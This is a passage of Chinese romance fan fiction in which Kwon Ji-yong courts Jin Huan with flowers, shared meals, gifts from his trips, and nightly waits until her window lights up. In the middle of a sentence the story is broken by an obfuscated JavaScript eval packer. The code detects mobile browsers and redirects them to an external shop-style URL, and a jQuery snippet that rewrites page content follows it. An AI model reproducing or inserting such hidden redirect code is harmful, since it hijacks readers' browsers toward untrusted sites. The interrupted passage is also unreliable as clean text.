权至龙开始陪吃陪玩之后，金欢的周末就再也不属于自己了。
周六，门铃准时响。金欢趿拉着拖鞋去开门，权至龙站在门口，一只手拎着花，另一只手拎着吃的。花不重样——芍药、郁金香、洋桔梗、小雏菊，偶尔是一束叫不出名字的野花，用牛皮纸包着，茎叶间还带着晨露。吃的不重样——面包店新出炉的面包三明治、巷口老奶奶卖的紫菜包饭、让助理专门去排队买的限量草莓蛋糕。
“又来了。”金欢接过花，侧身让他进来。
“嗯。”权至龙换鞋，动作熟练得像回自己家，“今天带了明洞那家面包。老板说早上六点出炉，我让助理去排的。”
“你助理的工资是替你排队用的吗？”
“我给他加钱了。”
金欢把花插进花瓶里。窗台上已经摆了五六个花瓶了，全是权至龙这段时间带来的。她摆弄花枝的时候，权至龙已经把面包从纸袋里拿出来，切成厚片，放进烤箱里复热，动作行云流水，像在自己家厨房。
初一走到权至龙脚边，用脑袋蹭了蹭他的脚踝。权至龙低头看了它一眼，从口袋里掏出一小袋猫零食。
“你什么时候买的？”
“上次看到你柜子里快没了。”他把零食撕开倒出来，初一低头舔得呼噜呼噜响。
金欢靠在厨房门框上，看着这一幕。阳光从阳台照进来，落在他低着头的侧脸上。他蹲在她家厨房的地板上，喂着她的猫和狗，烤箱里热着他带来的面包。
“权至龙。”
“嗯？”
“你把我家初一和五一收买了。”
权至龙抬起头，表情无辜。“我没有。我只是对它们好。”
“你对它们好，它们就跟你亲。它们跟你亲，我就不好意思赶你走了。”
权至龙站起来，拍了拍手上的零食碎屑。“那你赶我走吗？”
金欢看着他亮晶晶的眼睛，沉默了两秒。“烤箱响了。面包好了。”
权至龙笑了。
吃饭的时候，金欢发现他带的东西永远刚好是两个人的量。面包配她自己做的果酱，他上次带来的烟熏三文鱼还剩半袋，刚好铺满两片。连水果都切好了，装在透明盒子里——草莓、蓝莓、猕猴桃、小番茄，颜色搭配得好看。
“你是不是在我家装了监控。”金欢夹了一块草莓。
“嗯？”
“不然你怎么知道我家果酱还剩多少，三文鱼还剩几片，水果什么时候吃完。”
权至龙低头咬了一口面包，咀嚼的时候嘴角弯着。“观察。”
“观察什么？”
“观察你。”
金欢的筷子停住了。
“你是不是闲的。”
“不闲。很忙。”权至龙把最后一块三文鱼夹到她碗里，“但看你的东西，不用专门抽时间。”
金欢低下头，把那块三文鱼塞进嘴里。耳朵尖又开始泛红了。
从那以后，权至龙来蹭饭的频率从一周一次变成了一周两三次。有时候带花，有时候带水果，有时候带一包新发现的咖啡豆，说这家烘焙得不错，你尝尝。金欢做饭，他在旁边打下手，动作越来越熟练，知道了金欢很多小习惯——炖汤不放味精、做完饭要立刻擦灶台。
有一次金欢做红烧排骨，他站在旁边看。她盖上锅盖转小火，转头发现权至龙正盯着锅看。
“看什么？”
“记住了。”
“记住什么？”
“你做排骨的步骤，下次你不在，我可以自己做。”
金欢拿着锅铲的手停了一下。“你想吃就过来，我给你做。”
权至龙看着她，眼睛亮了一下。“那我天天过来。”
“……那还是你自己学吧。”
权至龙笑了。
“我下周去日本。三天。”
权至龙说这句话的时候，正坐在金欢家的沙发上，帮初一梳毛。初一趴在他腿上，发出满足的呼噜声。
“要带什么东西吗？”
“不用。我什么都不缺。”
权至龙没再说什么。金欢以为这件事就这么过去了。
权至龙日本出差回来后急急忙忙赶去金欢家。金欢打开门，权至龙站在门口，左手拎着一个巨大的纸袋，右手照例是一束花。他穿着黑色大衣，围巾还没解开，头发被夜风吹得有点乱，眼下有淡淡的倦色。
“飞机晚点了。”他说，“本来应该下午到的。”
金欢接过花，侧身让他进来。他把那个巨大的纸袋放在茶几上，五一立刻凑过去闻。权至龙蹲下来，把袋子里的东西一样一样往外拿。
“白色恋人，这个你应该知道。Royce的生巧，买了原味和抹茶的。Tokyo Banana，香蕉蛋糕，机场好多人排队。”他把盒子摞起来，像砌墙一样，“这个是东京限定的年轮蛋糕，店员说保质期只有三天，要快点吃。这个是镰仓的半月庵煎饼，咸甜的。这个是——”
“权至龙。”金欢的声音有点哑。
他停下来，抬起头看着她。
“我说了不用带。”
“你没说。”他把最后一个盒子放在茶几上，站起来，拍了拍膝盖，“你说我什么都不缺。不缺，不代表不能收礼物。”
金欢看着茶几上那座零食堆成的小山。有的是机场免税店的袋子，有的像是从专门店铺里买的，但无一例外都是精心包装的。
“你去了三天，不是在开会吗。”
“开完会去的。”他把围巾解下来，搭在沙发扶手上，“问了工作人员。他们说这些好吃。我也不确定你喜欢哪种，就都买了。”
他说这话的时候语气很平淡，像在说一件根本不值得提的小事。金欢看着他眼下的青色，想起他刚才说飞机晚点了——他可能是从机场直接过来的。行李箱还放在门口，大衣没脱，围巾刚解开，第一件事是把这些零食一样一样摆在茶几上给她看。
“你还没吃饭吧。”金欢转过身，走进厨房。
“吃过了。飞机上吃的。”
“飞机上的饭能叫饭吗。”
权至龙没有反驳。金欢打开冰箱，拿出晚上剩的辣炖排骨，盛进碗里，放进微波炉。又开始做泡菜豆腐汤，加一些权至龙喜欢的食材。权至龙走到厨房门口，靠在门框上，没有进来。
“金欢。”
“嗯。”
“那个年轮蛋糕，店员说要配红茶。我买了红茶，在袋子最下面。”
“先吃饭。蛋糕明天再吃。”
权至龙坐下来，接过她递来的筷子。排骨炖得酥烂，泡菜豆腐汤酸酸辣辣很开胃，喝了一碗很暖身。金欢坐在他对面，给自己也盛了半碗饭，陪着他吃。
“好吃吗？”
“好吃。”他抬头看了她一眼，“比飞机上的好吃。”
“废话。”
权至龙笑了。
从那以后，权至龙每次出差回来，都会带东西。他去巴黎带回了玛黑区一家手工果酱店的草莓酱，去纽约带回了Chelsea Market的香料，说你上次视频里说想试试西餐，他去济州岛拍广告，带回来一大箱柑橘。权至龙不论去哪里都会给金欢带礼物。
金欢的冰箱渐渐被这些东西塞满了。草莓酱吃了大半罐，香料还没拆封，柑橘被她做成了果酱。
约饭成了两个人的固定节目，硬生生把一个不爱吃的人往老吃家的路上带。
权至龙搜罗的那些小店，一家一家被他们吃过去。藏在巷子里的猪蹄店，开了三十年，蘸酱是老板的秘方。权至龙把最肥美的蹄髈部分夹到她碗里，自己吃偏瘦的。金欢咬了一口，眼睛亮了——虾酱、蒜泥、梨汁、辣椒粉，梨汁是熬过的，带果甜的焦糖香。她把这些一样一样说出来的时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484937|201952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，权至龙看着她，嘴角弯着。
也去了那家刀削面店。山东老板操着一口混杂口音的韩语，看到权至龙带着金欢进来，愣了一下，然后笑了。“上次你一个人来，坐了一个小时，吃了一碗，另一碗放凉了也没动。”
权至龙的耳朵红了。“老板，两碗刀削面。”
老板笑着转身进了厨房。金欢看着他通红的耳朵，什么都没说，但嘴角翘了起来。
吃完饭，权至龙送她回家。
从刀削面店到金欢的公寓，骑车十五分钟，走路半小时。他们走着回去，权至龙走在靠马路的那一侧，步速配合着她的节奏。金欢手里拎着打包的卤蛋——老板非要送的，说是上次那碗放凉的面可惜了，这个算补偿。
路灯把他们的影子拉得很长，交叠在一起。金欢低头看着地上的影子，脚步慢了一拍。权至龙也跟着慢下来，没有说话。
到了公寓楼下，金欢停下来。
“到了。”
“嗯。”权至龙把手插进口袋里，站在路灯下，“你上去吧。”
金欢看着他。“你不走？”
“等你灯亮了我再走。”
金欢张了张嘴，想说什么，又咽回去了。她转身上楼，声控灯一层一层亮起来。到了家门口，她掏出钥匙开了门，走进去，按亮了客厅的灯。
窗边。权至龙还站在楼下，仰着头。看到她出现在窗口，他抬起手，挥了一下。金欢站在窗边，隔着玻璃看着他。夜风把他的大衣下摆吹起来，路灯的光落在他身上，把他的影子拉得很长。他站在那里，像一棵生了根的树。
金欢拿起手机，打了几个字。
“还不走？”
权至龙低头看手机，然后抬头看了她一眼：“就走。晚安。”
这样的场景重复了很多次。每次吃完饭，他送她回家，在楼下等她灯亮。有时候她会站在窗边跟他挥挥手，有时候她直接拉上窗帘。不管她挥不挥手，他都会等到那扇窗亮起来，然后离开。
有一次，金欢忍不住了。
她下楼的时候，权至龙正准备走。看到她又出来，愣了一下。
“怎么了？”
“权至龙。你为什么一定要看我灯亮？”
权至龙沉默了一瞬。夜风吹过来，把他的刘海吹散了几缕。
“怕你出事。”
“我能出什么事？从楼下到楼上，有电梯，有灯，有监控。我能出什么事？”
权至龙没有立刻回答。他把手从口袋里抽出来，又放回去，目光落在她脸上，又移开，落在她身后那扇亮着灯的窗上。
“万一你上楼的时候摔了呢。”
金欢愣住了。
“万一电梯坏了你走楼梯，楼梯间的灯又不亮。万一你走到家门口发现钥匙丢了，翻包找的时候手机掉在地上。万一初一和五一又生病了，你一个人着急不知道怎么办——”
“权至龙。”
他停下来。
金欢看着他。路灯的光落在他脸上，他真的在担心那些“万一”——那些她自己都觉得小题大做的万一。
“你是不是想太多了。”她的声音轻了。
权至龙低下头，看着自己的鞋尖。
“可能吧。”他说，“但想了，就回不去了。”
金欢站在他面前，夜风从两个人之间穿过。她穿着拖鞋，他穿着大衣，两个人的影子在路灯下交叠在一起。
“你上去吧。”权至龙说，“外面冷。”
金欢没有动。过了几秒，她转过身，走进楼道，声控灯一层一层亮起来。权至龙站在原地，仰着头。那扇窗亮了。金欢站在窗边，隔着玻璃看着他。
“晚安。”
“嗯。”
然后金欢又发了一条。
“到家了发消息。”
权至龙看着这条消息，站在路灯下，笑了。